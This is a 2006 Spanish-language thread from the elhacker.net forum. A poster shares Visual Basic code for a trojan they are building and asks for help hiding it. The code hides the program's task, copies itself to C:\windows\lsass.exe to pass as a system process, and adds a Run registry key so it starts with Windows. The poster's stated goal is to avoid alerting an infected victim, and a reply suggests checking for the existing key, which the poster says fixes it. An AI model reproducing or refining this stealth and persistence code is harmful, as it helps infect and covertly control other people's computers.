Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: ~~ en 29 Junio 2006, 01:03 am



Título: Problema: el registro me pide confirmación =(
Publicado por: ~~ en 29 Junio 2006, 01:03 am
Hola a tod@s:

Weno de una vez por todas me he decidido a programar mi primer troyano en VB  ;D. Ya lo tengo
practicamente acabado, pero se me ha presentado un problemilla al modificar el registro.
Este es un trozo del codigo, el q lo añade al registro:

Código:
Private Sub Timer2_Timer()
On Error Resume Next
App.TaskVisible = False ' Lo hace invisible
Shell txt.Text 'Añade al registro
FileCopy App.Path & "\" & App.EXEName & ".exe", "C:\windows\lsass.exe" ' Lo copia
Timer2.Enabled = False
End Sub

txt es el nombre que le he dado a un cuadro de texto q contiene lo siguiente:

Código:
REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v WinTray /t REG_SZ /d "C:\windows\lsass.exe"

Hasta aqui todo me funciona perfectamente, el problema se me plantea cuando reinicio mi Pc, pues
me sale una ventana de MS-DOS diciendome q la clave WinTray ya existe y que si quiero sustituirla,
lo cual llama un poco la atención de cara a infectar una posible víctima.

A alguien se le ocurre alguna idea para arreglar esto?????

Desde ya muxas gracias y 1 saludo


Título: Re: Problema: el registro me pide confirmación =(
Publicado por: NYlOn en 29 Junio 2006, 01:36 am
Antes de escribir checkea si el valor ya existe...


Título: Re: Problema: el registro me pide confirmación =(
Publicado por: ~~ en 29 Junio 2006, 20:59 pm
Ok

Muxas gracias por la idea NYlOn. Ahora ya he buscado como comprovar la clave y me funciona perfectamente.

1 saludo  ;D